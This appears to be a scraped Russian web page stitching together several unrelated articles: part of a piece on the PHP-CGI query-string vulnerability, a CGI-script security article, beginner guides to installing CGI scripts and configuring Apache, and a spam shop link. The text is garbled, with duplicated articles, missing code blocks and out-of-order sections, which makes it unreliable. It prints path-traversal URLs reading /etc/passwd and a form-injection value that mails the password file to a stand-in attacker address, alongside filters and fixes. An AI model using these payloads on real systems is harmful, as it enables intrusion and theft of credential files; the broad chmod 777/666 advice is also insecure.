Во второй версии патча decoded_query_string заменили на query_string, однако и эта попытка оказалась неудачной, так как был обнаружен еще один недочет. Дело в том, что на некоторых серверах используется неправильная обертка для запуска php-cgi. Например, хостер DreamHost, на котором был организован тот самый Nullcon CTF, как раз такую обертку и использовал:

Ошибка здесь в том, что параметры в php5.cgi передаются с помощью $* без двойных кавычек, то есть если первым символом строки запроса вместо дефиса будет пробел, то патч снова окажется неэффективным. Таким образом, при использовании неправильного промежуточного sh-скрипта для передачи параметров в php-cgi патч окажется бессильным перед запросом вида /?+-s. В итоге PHP так и не представили нормального решения проблемы. Самый простой способ полностью залатать дыру — использовать .htaccess со следующими правилами:

Данный набор правил реализует логику: «если в строке запроса отсутствует символ «=», но есть дефис, то веб-сервер должен вернуть ошибку с кодом 403 (Forbidden)».

Умный бэкдор фиксит уязвимость, размещая .htaccess

  • bit.ly/IwDW8y — адвизори от команды Eindbazen;
  • bit.ly/JuwsOR — внутренний тикет о баге в PHP-CGI, оказавшийся в паблике;
  • bit.ly/goqH0F — CGI RFC;
  • bit.ly/KsYavW — то самое злосчастное сообщение Расмуса Лердорфа 2004 года.

Заключение

Несомненно, за последние несколько лет PHP претерпел существенные изменения, вырос в один из самых мощных языков для создания веб-приложений. Однако последние уязвимости делают очевидным, что безопасность интерпретатора так и осталась на прежнем уровне, и баг в PHP-CGI идеальное тому подтверждение. Если разработчики будут продолжать в том же духе, не исключено, что в скором времени нас ждут еще более серьезные уязвимости.

Песнь о cgi скриптах

http://www.torg96.ru/ купить вешалки и плечики для одежды в екатеринбурге.

CGI-скрипты

Общая цель CGI-скриптов — позволить посетителю получать доступ лишь к определенной части информции, находящейся у вас на сервере. Такое определение сразу должно навести вас на мысли о безопасности и предотвращения действий, направленных на получение вашей информации и некорректного вмешательства в работу вашей системы. Если вы будете достаточно беспечны и легкомысленны в этом вопросе, вы предоставите посетителям доступ к тем участкам сервера, которые предпочтительнее было бы скрыть от посторонних глаз. Хотя ни один web-узел нельзя считать на 100% защищенным, снизить уровень риска при применении CGI-программ довольно просто. Далее мы рассмотрим наиболее характерные уязвимости в скриптах и попробуем свести риск к минимуму.
Наиболее часто встречающяяся уязвимость — это отсутсвие проверки посылаемых скрипту данных на метасимволы (такие, к примеру, как &;`’\»|*?

<>^()[]<>$), что приводит к выводу скриптом содержимого файла или самого файла, которое администратор сервера предпочел бы скрыть. Элементарным решением этой проблемы есть фильтрация вводимого набора символом, выглядящая на Perl следующим образом:
$in =

s/([;<>\*\|`&\$!#\(\)\[\]\<\>:'»\n])/\\$1/g;
По моему авторы скриптов забывают об этом или не хотят запоминать, т.к. самую элементарную проверку на символы «/» и «..» до сих пор не делают.
Почему же так важна проверка на метасимволы ? Потому, что к примеру у вас есть скрипт view.pl ( www.your_host.com/cgi-bin/view.pl ) который показывает какой-то файл (подобный пример часто встречается в поисковых скриптах и в файлах различных web-форумов) т.е. www.your_host.com/cgi-bin/view.pl?site.htm покажет вам site.htm.
Но если мы передадим скрипту запрос вида
www.yor_host.com/cgi-bin/view.pl. /../../../etc/passwd
То данная команда выведет нам в качестве результата файл с паролями *nix системы. Это происходит из-за того, то скрипт, получая данные ../../.. исполняет команду перехода по директориям. Получается, что он доходит то корня диска, оттуда переходит в директорию etc/ и показывает на файл passwd, расположенный там же.
$file=s/\.\.//g; — вот такой маленький кусочек кода perl намного облегчит жизнь администратора.
Вот лишь несколько скриптов, в которых встречается эта уязвимость:
www.your_site.com/cgi-bin/htmlscript. /../../../etc/passwd
www.your_site.com/cgi-bin/shopper.cgi?newpage=../../../etc/passwd
www.your_site.com/cgi-bin/Web_Store/web_store.cgi?page=../../../etc/passwd%00ext

Наверное вы обратили внимание на последний пример. Наверное, у вас возник вопрос, а что такое за /etc/passwd%00ext. Это тоже один из примеров уязвимости cgi-скриптов. Но эта уязвимость не столько зависит от скрипта, сколько от операционной системы. Система неадекватно реагирует на символ 0.( не только именно на 0, но я привел лишь самый элементарный пример.
К примеру, page.cgi?index.htm покажет вам документ. А page.cgi?index.htm%00 покажет вам исходный код документа.
Самый простой вариант решения этой проблемы, это поставить фильтр на этот символ, на perl этот будет выглядеть примерно так :
$insecure_data=

Также в языке Perl, добавление символа «|» засталяет программу, которая должна открывать файл — запустить его.
К примеру: open(FILE, «/bin/ls») — даст вам бинарный код, а если подставить «|»
open(FILE, «/bin/ls|») — будет выполнена команда, в данном случае ls.
s/(\|)/\\$1/g — такая вставка в Perl-код предотвратит это. ( Perl скажет — ‘unexpected end of file’).

Также скрипты активно используются для создания многочисленных списков рассылок и тому подобных вещей, применяемых для побее тесного взаимодействия сайта и посетителя. Обычно данные скрипту передаются в виде html-формы.
Злоумышленник может запросто сохранить исходный код html-формы, модифицировать его, а затем открыть страницу, уже модифицированую у себя в броузере. Хакер может изменить значения и имена полей, модифицировать или удалить скрытые поля ( Input type=hidden ), после чего предьявить форму целевой CGI-программе. Кроме того, ничто не помешает ему вызвать вашу программу прямо из коммандной строки браузеоа и передать в нее информацию в строке запроса.
Типичный пример, алгоритм которого вы можете еще применить во многих других скриптах = это уязвимость в очень старом скрипте formmail 1.0
Когда скрипт получает данные, он составляет письмо и, пользуясь полученными данными, дает примерно следующую команду:
$ mail some_email $recipient
Предположим, что в документе html, параметр recipient (hidden) содержит адрес admin@server.com Тогда в итоге после выполнения всех команд он завершится посылкой письма по этому адресу командой
httpd$ mail admin@server.com
Но нам ничего не мешает сохранить документ, немного подредактировать его, добавив свои команды ( к примеру
«;cat /etc/passwd | mail hacker@hacker.com») и затем отправить данные скрипту. Тогда скрипт все внимательно обработает, составит письмо м выполнит команду httpd$ mail hacker@hacker.com; cat /etc/passwd | mail hacker@hacker.com Вот и пример формы, выполняющей вышеописанные действия:

Один из самых простых способов установить, похищена ли форма — это проверить значение переменной среды HTTP_REFERER, модержащей URL, из которого была вызвана ваша программа. Затем это значение следует сравнить с тем, которое должно быть при вызове программы с допустимой страницы. Если вы, скажем, хотите, чтобы программа вызывалась только со страниц, URL которых начинаются с www.server.com/some_file/, то можете поставить в начало программы что-то вроде этого:
if ($ENV <'HTTP_REFERER'>!=m#^http://www.server.com/some_file/#)Но этот метод защиты годится только в том случае, если хакер не переопределил HTTP_REFERER. Когда форма предьявляется, ваша программа использует значение поля для построения пути к файлу (например, /home/hir/hack.htm), а затем выводит данный файл. Эта возиожность кажется довольно безобидной, пока хакер не изменит форму таким образом, что она будет содержать пункт со значением ../../../etc/passwd. Ваша программа сможет взять это значение, создать путь к этому файлу и вывести passwd в окно браузера.
Этого можно избежать, указав в программе корневую директорию и сделать так, чтобы все пути к файлам начинались именно с этого имени каталога.
if (file_path !

/^root_directory/) Вот пожалуй самые распространненые ошибки в CGI-программах и возможные методы исправления этих ошибок и повышение безопасности сервера.

Песнь о cgi скриптах

Эту статью я написал, т.к. почувствовал необходимость в этом: сам я с cgi скриптами намучался, и многие читатели меня спрашивали. Скажу сразу, что я вовсе не профессионал (как думают некоторые мои читатели), а простой Вася Пупкин, который вознамерился покорить Интернет. После некоторых потуг, у меня что-то стало получаться (далеко не все!), я заметил, что с проблемой «первого знакомства» со скриптами (и не только cgi) постоянно сталкивается множество людей — меня постоянно просят «помочь со скриптами» … И вот я решил изложить основные моменты по их установке, ничего особенного здесь нет, все это вы сможете найти и в инструкции, прилагаемой к каждому скрипту, но я попытался написать это нормальным человеческим языком.

Когда я сказал, что я не профи, то соврал! Есть у меня одно умение, в котором я признанный профессионал — это совершать все возможные и самые наиглупейшие ошибки. Поковыпявшись в CGI скриптах всего три недельки, я умудрился совершить почти все ошибки при их усановке: все что можно сделать неправильно — я сделал! Поэтому, чтоб уберечь вас от неверных действий, я изложу вам основные моменты по установке CGI скриптов. Не пугайтесь, это не так сложно как кажется — даже у меня что-то получилось, а я сам услышал о них недавно! Приступим.

Зачем нам нужны эти скрипты?

Форум, чат, доска объявлений, голосование, гостевуха, каталог, топ, магазин и аукцион — все это можно сделать с помощью CGI. Возникает вопрос, что такое скрипт? Грубо говоря, скрипт — это программка, которая запускается не на вашем компьютере, а на сервере. В результате работы скрипта, сайт превращается из существа пассивного, в существо активное, у вас появляется больше возможностей как для общения с посетителями (форумы, чаты, mail формы, опросы, голосования, рассылки), так и в управлении сайтом (организация оперативно обновляемых новостей, баннерокрутилка, публикация статей через веб и т.д.) Кроме того, некоторые скрипты могут стать основой вашего сайта (например, каталог, топ-рейтинг, служба поздравительных открыток, поисковая машина…) — у вас уже загорелись глаза? То-то же, скрипты открывают новые горизонты, у кого-то появляются нездоровые желания создать свой Yahoo!, а кто-то просто хочет сделать на сайте гостевую книгу.

Нужно ли для этого знать языки программирования?

Э. я например только в школе Basic проходил — вопросы есть? Конечно, если что-то знаешь, то хорошо, но эти советы не для знающих ;-) Вот что желательно, так это понимать хоть примерно (процентов на 60) надписи на английском — существует огромное количество бесплатных скриптов (см. ссылки в конце статьи), почти все они имеют подробные инструкции по установке, кроме того, в самом коде присутствуют подробные комментарии. Стоит добавить, что наиболее распространенный язык для написания CGI скриптов — это Perl, но не надо думать, что «Говорим CGI — подразумеваем Perl!» Совсем нет! Perl cgi скрипты просто более популярны (возможно из-за того, что Perl — язык программирования под Unix, а большинство серверов в Сети работает под юниксоидными системами, и Perl к тому же, не самый сложный в освоении язык, но при этом предоставляющий мощные и довольно простые в использовании возможности при работе с текстом, строковыми данными и т.д.). Есть CGI скрипты и на C/C++, но это уже для windows’ких серверов, а там более популярна технология ASP, а сейчас речь не об этом…

Где ставить cgi скрипты?


На своем сервере, надо чтобы он поддерживал CGI, кроме того, узнайте полный путь к папке cgi-bin (что-то типа «home/home-webservis/kakadu/public_html/cgi-bin» не путайте это с URL, в приведенном случае, URL папки CGI будет выглядеть обычно, т.е. примерно так: http://kakadu.al.ru/cgi-bin) — обо всем этом вы сможете прочитать в FAQ вашего хостинга, посмотрите путь к почтовой папке (например /usr/sbin/sendmail), и ГЛАВНОЕ, узнайте путь к Perl, по умолчанию считается #!/usr/bin/perl, но могут быть вариации… «

Многие прекращают знакомство со скриптами после подобной фразы. Вас просят убедиться, что правильно прописан путь к perl (а этот путь вы посмотрели — в пред.пункте). Теперь, чем вскрыть скрипт (*.cgi, *.pl)? Можно сделать это в текстовом редакторе, но это не лучший способ для новичков. Я делаю это с помощью PerlBuilder http://www.solutionsoft.com/ (для его функционирования вам придется скачать ActivePerl, его предлагают прям там). Чем он хорош (т.е. Perl Builder)? Проверка синтаксиса, вскрывает все: *.cgi, *.pl, *.html, *.cfg, *.def, *.php, *.html и т.д. Вы сможете проверить работоспособность скрипта прямо у себя дома на компьютере! Правда, особо не обольщайтесь — топ дома вы не запустите, но добьетесь вывода кода html — значит работает!

Итак, открываете файл, там в самом верху строка: #!/usr/bin/perl — исправляете ее на нужную! И все! Если, что-то надо прописать в самом скрипте (опции, например, или пути к папкам(!) — весьма часто встречается) — то внимательно следуйте инструкциям! Если что-то добавляете в код, то перед этим делайте резервную копию — а вдруг? Мы то не программисты!

«. Upload everything in cgi-bin in ASCII mode to a directory on your server that can run cgi. «

Теперь надо создать на сервере необходимые директории и загрузить туда файлы — четко следуйте инструкциям! Загружать надо в ASCII режиме! Что это? Есть два режима: ASCII и Binary — обычно для закачки/перекачки используется второй, но со *.cgi, *.pl файлами это не пройдет: 500 Server Errors — эта ошибка чаще всего появляется из-за неправильного режима загрузки! Выбор режима загрузки производится с помощью вашего ftp клиента (у меня Сutftp, скачать можно здесь: http://www.cuteftp.com/products/cuteftp/ ) — есть там нечто вроде Transfer Type — это оно самое, часто стоит на автомате (Auto), но иногда выбирает не тот режим (убедился лично) — лучше поставьте ASCII и не мучайтесь!

Set permissions:

chmod 755 (-rwxr-xr-x) on all .cgi files.
chmod 666 (-rw-rw-rw-) on all files in the data directory.
chmod 777 (drwxrwxrwx) on the public directory

Тоже многие тут спотыкаются — а что я вытворял. Бедный сервер наверное свихнулся — о существовании таких прав доступа, что я ставил, он и не подозревал! Итак, теперь надо установить права доступа: 755 — наивысший приоритет, всем файлам *.cgi, *.pl надо установить его. В инструкциях все пишут — следуйте им! Если есть сомнения, то можно действовать по такому принципу — всем файлам, которые для массового использования ставим 777 , всем исполнительным (*.cgi, *.pl) —755, а тем, которые непонятно какие — 666. Если скрипт не запускается и выдает ошибку (500 Server Errors — очень часто ;-) ), то возможно вы не правильно расставили права, проверьте все (*.cgi, *.pl) в первую очередь! Как эти права расставлять? Опять с помощью FTP клиента: Change File Attributes — и пишете в появившемся окошке необходимые права! Теперь дополнение одного из моих читателей:

Было бы неплохо не просто порекомендовать какие права доступа ставить (и для каких файлов), а подробно объяснить, что обозначает каждая буковка в записи «drwxrwxrwx» и цифра в команде «CHMOD» . Это позволило бы новичкам, прочитавшим статью, сэкономить кучу времени и нервов (GK: как он прав!).

Так вот, права доступа определяют: кто и что он может сделать с файлами/папками, размещенными на сервере.

«Кто» подразделяются на три вида:

  • «Owner» — владелец файла/папки
  • «Group» — группа, к которой относится владелец
  • «Everyone» — все остальные пользователи

«Что» подразумевает: какие действия с файлами/папками могут производить Пользователи, Группа или Владелец, а именно:

  • «Read» — чтение
  • «Write» — запись
  • «Execute/Search» — выполнение (для файлов) и поиск (для каталогов).

Число, следующее после команды «chmod xyz имя_файла/папки» расшифровывается следующим образом:
— первая цифра (x) — это права владельца
— вторая (y) — права группы
— третья (z) — права доступа для остальных пользователей.
Каждая цифра — состоит из суммы чисел, которыми эти права обозначаются:

  • Чтение — число 4
  • Запись — число 2
  • Выполнение/поиск — число 1

То есть, если нужно предоставить владельцу право читать, записывать и выполнять файл, то число x получается из суммы 4+2+1 = 7. Если нужно установить права доступа только для чтения и выполнения, то 4+0+1 = 5.


Рассмотрим конкретный пример: что означает это преславутое число 755?
Первая цифра — 7 — право доступа для Владельца (4+2+1) чтение+запись+выполнение.
Вторая цифра — 5 — право доступа для Группы (4+0+1) чтение+выполнение.
Третья цифра — 5 — право доступа для остальных Пользователей (4+0+1) чтение+выполнение. Данное число (755) рекомендуется устанавливать для CGI скриптов, а остальным файлам — 660 (GK: подразумеваются только скриптовые файлы, а не все остальные! Ваши публичные документы имеют доступ 777 — то есть самые широкие права). Также, если есть файлы, в которых хранятся данные «не для чужих глаз» (а именно: шаблоны, файлы регистрации и т.д), то для них я бы порекомендовал установить права доступа — 600 (GK: а часто им ставят 666).

Теперь рассмотрим, что означают буковки «drwxrwxrwx» при выдаче листинга файлов в каталоге. Тут все очень просто:
d — указывает на то, что это папка. Если стоит «-» — значит это файл.
rwx — права доступа для владельца — «r»ead, «w»rite и e»x»ecute, если вместо какой-либо буквы стоит «-«, то это означает, что данное право отсутствует.
Cледующая троица «rwx» аналогична предыдущей, только она определяет права доступа для группы.
И последняя троица «rwx» также определяет права доступа для остальных пользователей. Следовательно, права доступа к файлу 755 выглядят так: «-rwxr-x-r-x»

Я могу лишь выразить благодарность!

А что дальше?

По идее, если все вы сделали правильно, то скрипт установлен — его можно запускать и, возможно, настроить какие-нибудь опции, но все это происходит уже в привычной форме, через окно броузера. Очень вероятно, что скрипт не запустится и выдаст ошибку — проверьте, правильно ли вы все сделали! Все мои ошибки, возникали из-за моей невнимательности или когда я, изображая Билл Гейтса, пытался маааленько изменить код — а Perl то я не знаю ;-)
В общем, что-то я поставил, кое с чем еще извращаюсь — зайдите ко мне на сайт, посмотрите!

Где взять скрипты?

Надеюсь, что все любители отвечать на этот вопрос примерно так: «Потратить часок-другой и написать самому!» уже давно прекратили чтение этой статьи, а оставшиеся, как и я, довольно смутно представляют себя в роли программиста… Не унывайте! Я уже говорил в начале статьи, что существует множество бесплатных скриптов и я не соврал! Более того, таких скриптов очень много, конечно они довольно часто уступают по возможностям скриптам платным, но, к счастью, из-за большого их количества часто удается подобрать то, что нужно. Вот несколько наиболее интересных, на мой взгляд, ссылок на скриптовые ресурсы:

Дополнения по CGI интерфейсу

Песнь о CGI-скриптах

Сегодня такие вещи как гостевая книга, поиск по серверу, форма для отправки сообщений — неотъемлемый атрибут практически любого серьезного сайта. Проблема внедрения этих и других прибамбасов, разумеется, всячески возбуждает воображение начинающего вебмастера, лишая его сна, аппетита и тяги к пиву. К сожалению, изучение HTML-исходников страниц конкурентов ничего, кроме ссылок на некий «cgi-bin», не дает, да еще в телеконференциях иногда встречается упоминание о каких-то cgi-скриптах. Эта сатья и посвящена основам использования этих самых cgi-скриптов во славу и процветание вашего сайта.

Для начала, думаю, надо разобраться с понятиями (вообще разборки и понятия — сегодня очень актульно :-)). CGI-скрипт — это программа, которая выполняется на Web-сервере по запросу клиента (то есть посетителя Web-сайта). Программа эта принципиально ничем не отличается от обычных программ, которые установлены на вашем компьютере — будь то MS Word или игра Quake. CGI — это не язык программирования, на котором написан скрипт, а Common Gateway Interface — специальный интерфейс, с помощью которого и происходит запуск скрипта и взаимодействие с ним.

Правда есть один довольно неприятный момент. На сервере, где находится ваш сайт, должно быть разрешено выполнение cgi-скриптов. Дело в том, что скрипт, как и любая другая программа, может выполнять системные команды на сервере, что представляет потенциальную угрозу безопасности. Как сказал один мой знакомый админ: «Одними cgi-скриптами я могу взломать систему за 5 минут». Так что если вы разместили свой сайт на бесплатном сервере, например, Xoom или Chat.Ru, то вы не сможете запускать скрипты. Впрочем, некоторые бесплатные сервера допускают использование CGI, например, I-Connect. Ну, а если вы платите за размещение страницы, то, как правило, использование cgi-скриптов разрешено (если нет — то и платить провайдеру за поддержку страницы, на мой взгляд, не стоит).

Как работает CGI-скрипт? Я, конечно, могу процитировать какое-нибудь техническое руководство, но пользы от этого будет мало. Поэтому расскажу, как все происходит, своими словами. Итак, посетитель вашей страницы заполняет поля формы, например, для записи в гостевую книгу. После этого он нажимает кнопку «Submit», которая и запускает cgi-скрипт. Скрипт выполняет запрограммированные действия — в данном случае считывает данные из формы и пишет их в файл гостевой книги — и посылает в броузер посетителя обычный HTML-код, например, сообщение «Спасибо, что вы оставили запись в гостевой книге».

Преимуществ CGI-скриптов перед JavaScript и Java на мой взгляд, три, и они весьма значительны:

  • так как программа выполняется сервером, нет никакого значения, какой у посетителя броузер — древний Lynx или новейший Internet Explorer. Нет никаких глюков и сообщений об ошибках;
  • cgi-скрипты позволяют реализовать гораздо более широкий набор функций;
  • код cgi-скрипта закрыт для конкурентов :-)

На каком же языке может быть написана CGI-программа? Ответ вас приятно удивит: практически на любом. Главное, чтобы сервер мог выполнить эту программу, то есть на сервере должен быть установлен компилятор или интерпертатор соответствующего языка программирования. Для систем на базе Unix это обычно C/С++, Perl, Shell; для серверов под управлением Windows NT — те же Perl, С/С++ и любая Windows-система программирования, поддерживающая написание cgi-приложений, например, Visual Basic или Delphi.

Лично я предпочитаю язык Perl. Он является интерпретируемым, то есть программы на Perl не требуют компиляции. Это очень удобно: вы отлаживаете программу на своей домашней машине (где, к примеру, установлена Windows), а затем просто копируете ее на сервер (где, скорее всего, установлен один из клонов Unix — FreeBSD, Linux, Sun Solaris, HP-UX и т.п.). При смене провайдера проблем с переносом скриптов также не будет.

Если же вы решите использовать компилятор, например, C/C++, то вам нужно будет компилировать исходный текст программы на сервере, для чего необходим telnet-доступ к серверу, который провайдеры давать очень не любят.

«Да, но я не знаю Perl» — скажете вы. Ха! Для того, чтобы наладить работу скриптов на вашем сайте, знания языка программирования особенно не нужно. В Сети лежит просто немеренное количество абсолютно бесплатных скриптов на любой вкус — от гостевых книг до сложных баз данных. Все, что вам нужно — хотя бы начальные знания английского языка. Скачать любой скрипт можно с сайта CGI-Resources.Com. Это специализированный каталог, содержащий ссылки на тысячи скриптов на самых разных языках программирования.

Предположим, вы решили использовать скачанный из Сети скрипт. Чтобы он у вас нормально работал, нужно сделать следующее:

  • в начале скрипта вам нужно будет указать некоторые данные, необходимые для запуска скрипта, например, путь к интерпретатору Perl (обычно /usr/local/bin/perl/ или просто /usr/bin/perl/ ), URL вашего сайта, имя файла, в который будут записываться результаты выполнения скрипта и т.п. Все строки, которые нужно заменить, обычно выделены комментариями, так что вы их легко найдете
  • В зависимости от конфигурации Web-сервера, имя скрипта должно иметь определенное расширение и/или скрипт должен находиться в определенном каталоге. Например, имя скрипта должно иметь расширение .cgi и скрипт должен лежать в каталоге cgi-bin. Проконсультируйтесь у администратора вашего сервера о требованиях, предъявляемых к скриптам.
  • Так как скрипт — это программа, нужно присвоить ему атрибут «исполняемый».
  • Если скрипт пишет данные в какой-нибудь файл (например, файл гостевой книги), то этот файл должен быть доступен для записи.

Если у Вас не коммерческий проект, что и подразумевается для начинающнго вебмастера, то Вы можете воспользвоваться бесплатным CGI-хостингом. То есть, получить быстро и бесплатно гостевые книги, доски объявлений, чаты и прочее.

Применение методов доступа HTTP в рамках программирования CGI-скриптов. Настройка HTTP-сервера для работы с CGI-скриптами

Стандартные библиотеки разбора данных

Разбор запроса по методу POST CGI-скриптом — это рутинная процедура. При запросе типа urlencoded нужно просто выделить имена полей и их значения, а при запросе типа multipart/form-data — выделить части составного тела запроса и преобразовать их в имена полей, их значения и файлы.

С 1995 года было написано достаточно много заготовок для такого разбора, которые оформлены в виде свободно распространяемых библиотек. Наиболее популярными являются библиотеки модулей Perl — CGI.pm и CGI_Lite .

CGI.pm — полный набор функций для генерации HTML-файлов с формами и разбора запросов CGI-скриптами.

CGI_Lite — это средство работы с составными ( multipart/form-data ) запросами. При работе с функциями данного модуля следует иметь в виду, что временные файлы эти функции размещают в каталоге /tmp .


Метод доступа PUT и другие способы использования CGI-скриптов

Кроме стандартных способов использования CGI-скриптов, т.е. приема запросов от браузеров по методам GET и POST , скрипты применяются и для решения ряда других задач. К таким задачам можно отнести обслуживание расширенного набора методов доступа, например, PUT и DELETE .

Кроме того, для исполнения скриптов сам HTTP- сервер должен быть настроен соответствующим образом. В конфигурации по умолчанию сервера Apache предполагается, что все стандартные скрипты будут размещаться в каталоге

server_root/cgi-bin , а скрипты пользователя будут иметь расширение *.cgi .

Если эксплуатируется только один Web-узел, этих настроек вполне достаточно. Если же на одной вычислительной установке эксплуатируется несколько виртуальных Web-узлов, то для каждого из них следует дополнительно определять и каталоги стандартного размещения, и расширения по умолчанию, и методы обработки нестандартных методов доступа.

Нередко CGI-скрипты применяются в качестве подстановок SSI на стороне сервера . Схема проста: HTML-документ используется как шаблон, в котором HTML-комментарии задают команды подстановок. В зависимости от различных условий сервер , который обрабатывает эти документы перед отправкой клиенту (браузеру), вставляет в шаблон результаты выполнения команд подстановок, в частности CGI-скриптов.

Преимущество CGI-скриптов в данном случае заключается в том, что они работают с переменными окружения , порожденными сервером для скрипта, а не с системными переменными окружения . Это позволяет включить механизмы анализа IP-адреса клиента, его доменного имени или cookie, чего нельзя сделать при работе с обычным набором переменных окружения , который порождается операционной системой.

Настройки сервера для работы с CGI-скриптами

Для исполнения CGI-скриптов сервер Apache должен быть соответствующим образом настроен. Во-первых, он должен быть собран с модулем исполнения CGI-скриптов (обычно включен по умолчанию), во-вторых, в файлах настройки сервера следует указать опции управления исполнением CGI-скриптов.

В данном разделе мы будем подразумевать, что сервер собран с модулем исполнения CGI-скриптов, поэтому обратимся сразу к настройкам сервера .

В версиях Apache, начиная с 1.2.6 можно все директивы настроек сервера включать в один файл httpd.conf . Однако традиционный способ настройки , который унаследован от NCSA — сервера , предполагает использование трех файлов настройки , которые отвечают за:

  • настройку самого сервера ( httpd.conf );
  • настройку ресурсов Web-узла ( srm .conf );
  • настройку управления доступом к ресурсам ( access.conf ).

Для виртуальных хостов все директивы размещаются в файле httpd.conf в разделах описания каждого из виртуальных хостов.

httpd.conf

В этом файле определяются скрипты обработки нестандартных методов доступа ( PUT или DELETE ), а также описания работы с CGI-скриптами для виртуальных хостов.

Для указания скрипта обработки нестандартного метода используют директиву Script :

Вместо PUT здесь можно указать DELETE или другой метод доступа. При обращении по данному методу доступа будет вызван скрипт, который указан в качестве второго аргумента.

Директивы для описания работы со скриптами для виртуальных хостов размещают внутри контейнера VirtualHost :

Внутрь этого контейнера можно помещать все директивы, которые размещают для основного сервера в файлах httpd.conf , srm .conf , access.conf .

srm.conf

В этом файле определяется конфигурация ресурсов, которыми управляет сервер . Скрипты входят в состав этих ресурсов. Каталог скриптов по умолчанию определяет директива ScriptAlias :

В данном каталоге определяется синоним части URL (первый параметр директивы), которому ставится в соответствие реальный путь в каталоге файловой системы вычислительной установки, где эксплуатируется сервер (второй аргумент). Например:

обращается к файлу

Кроме стандартного места размещения скриптов, которое определяется через ScriptAlias , скрипты можно хранить в произвольном каталоге, внутри дерева каталогов сервера .

Дерево каталогов сервера определяется директивой DocumentRoot :

Песнь о CGI


Автор статьи: Жарков Станислав

Сегодня такие вещи, как гостевая книга, поиск по серверу, форма для отправки сообщений — неотъемлемый атрибут практически любого серьезного сайта. Проблема внедрения этих и других прибамбасов, разумеется, всячески возбуждает воображение начинающего вебмастера, лишая его сна, аппетита и тяги к пиву. К сожалению, изучение HTML-исходников страниц конкурентов ничего, кроме ссылок на некий «cgi-bin», не дает, да еще в телеконференциях иногда встречается упоминание о каких-то cgi-скриптах. Эта статья и посвящена основам использования этих самых cgi-скриптов во славу и процветание вашего сайта.
Для начала, думаю, надо разобраться с понятиями. CGI-скрипт — это программа, которая выполняется на Web-сервере по запросу клиента (то есть посетителя Web-сайта). Программа эта принципиально ничем не отличается от обычных программ, которые установлены на вашем компьютере — будь то MS Word или игра Quake. CGI — это не язык программирования, на котором написан скрипт, а Common Gateway Interface — специальный интерфейс, с помощью которого и происходит запуск скрипта и взаимодействие с ним.
Правда, есть один довольно неприятный момент. На сервере, где находится ваш сайт, должно быть разрешено выполнение cgi-скриптов. Дело в том, что скрипт, как и любая другая программа, может выполнять системные команды на сервере, что представляет потенциальную угрозу безопасности. Как сказал один мой знакомый админ: «Одними cgi-скриптами я могу взломать систему за 5 минут». Так что если вы разместили свой сайт на бесплатном сервере, например, Xoom или Chat.Ru, то вы не сможете запускать скрипты. Впрочем, некоторые бесплатные сервера допускают использование CGI. Ну, а если вы платите за размещение страницы, то, как правило, использование cgi-скриптов разрешено (если нет — то и платить провайдеру за поддержку страницы, на мой взгляд, не стоит).
Как работает CGI-скрипт? Я, конечно, могу процитировать какое-нибудь техническое руководство, но пользы от этого будет мало. Поэтому расскажу, как все происходит, своими словами. итак, посетитель вашей страницы заполняет поля формы, например, для записи в гостевую книгу. После этого он нажимает кнопку «Submit», которая и запускает cgi-скрипт. Скрипт выполняет запрограммированные действия — в данном случае считывает данные из формы и пишет их в файл гостевой книги — и посылает в броузер посетителя обычный HTML-код, например, сообщение «Спасибо, что вы оставили запись в гостевой книге».
Преимуществ CGI-скриптов перед JavaScript и Java на мой взгляд, три, и они весьма значительны:
>

  • так как программа выполняется сервером, нет никакого значения, какой у посетителя броузер — древний Lynx или новейший Internet Explorer. Нет никаких глюков и сообщений об ошибках;
  • cgi-скрипты позволяют реализовать гораздо более широкий набор функций;
  • код cgi-скрипта закрыт для конкурентов ��

PHP: старая песня о главном

Содержание статьи

PHP: старая песня о главном

На сегодняшний день, несмотря на укрепление позиций своих конкурентов, PHP остается самым популярным языком для разработки веб-приложений. Вместе с тем старый добрый PHP продолжает пользоваться популярностью у взломщиков. Причем если раньше под их прицел попадали уязвимые PHP-скрипты, то сейчас все чаще — баги самого интерпретатора.

Обратная сторона PHP

За последние несколько месяцев сообщения о все новых уязвимостях в PHP перестали вызывать удивление, а некоторые баг-репорты иначе как курьезными не назовешь. Одна из последних уязвимостей является, пожалуй, самой серьезной в истории PHP, так как позволяет выполнить код на любом сервере, где PHP настроен для работы по интерфейсу CGI. Давай разберемся, откуда растут ноги этого бага и каким образом мы можем им воспользоваться.

Как это было

В январе 2012 года голландская команда Eindbazen принимала участие в Nullcon CTF, очередном для себя capture-the-flag-соревновании. В ходе решения одной из задач парни случайно обнаружили странную уязвимость в PHP, благодаря которой впоследствии и выиграли, изменив результаты общего зачета. Выяснилось, что организаторы Nullcon такой уязвимости не задумывали, — это был 0-day-баг в PHP. Через несколько дней Eindbazen отправили разработчикам PHP сообщение об уязвимости вместе с рекомендуемым патчем. Казалось бы, бери — не хочу. Однако в PHP решили пойти по своему пути и были впоследствии за это наказаны.

Возможность выполнения кода первые часы была на сайте крупного хостера

С момента сообщения об уязвимости прошло три месяца, а патча все не было. И вот в один прекрасный день на сайте reddit.com появилась ссылка на внутренний тикет баг-трекера PHP, по непонятным причинам оказавшийся в публичном доступе. В нем обсуждался один из векторов атаки, который позволял просматривать исходный код любого PHP-скрипта, работающего через CGI. Eindbazen ничего не оставалось, как опубликовать информацию об уязвимости, так и не дождавшись выхода патча. Причем в их сообщении также говорилось о том, что баг позволял не только просматривать исходники скриптов, но и выполнять произвольный PHP-код. Хотя Eindbazen не опубликовали готовый вектор для выполнения кода, каждый, кто внимательно прочитал advisory, мог легко догадаться, что для этого требовалось.

Анатомия уязвимости

Прежде чем начать разбор уязвимости, необходимо сказать пару слов о работе PHP через CGI. Вообще существует несколько способов подключения PHP к веб-серверу Apache. Самый популярный метод реализуется с помощью модуля mod_php, который позволяет PHP и Apache взаимодействовать друг с другом в рамках одного процесса. Другой способ осуществляется посредством CGI (Common Gateway Interface). CGI — это порядком устаревший интерфейс, используемый для связи внешней программы с веб-сервером, причем такая программа может быть написана на любом языке. В режиме CGI для каждого запроса веб-сервер запускает отдельный процесс, что весьма негативно отражается на производительности. Именно поэтому на большинстве серверов c Apache используются более производительные варианты: mod_php или FastCGI.

Итак, для работы Apache и PHP в режиме CGI необходимо использовать следующие параметры конфигурации веб-сервера:

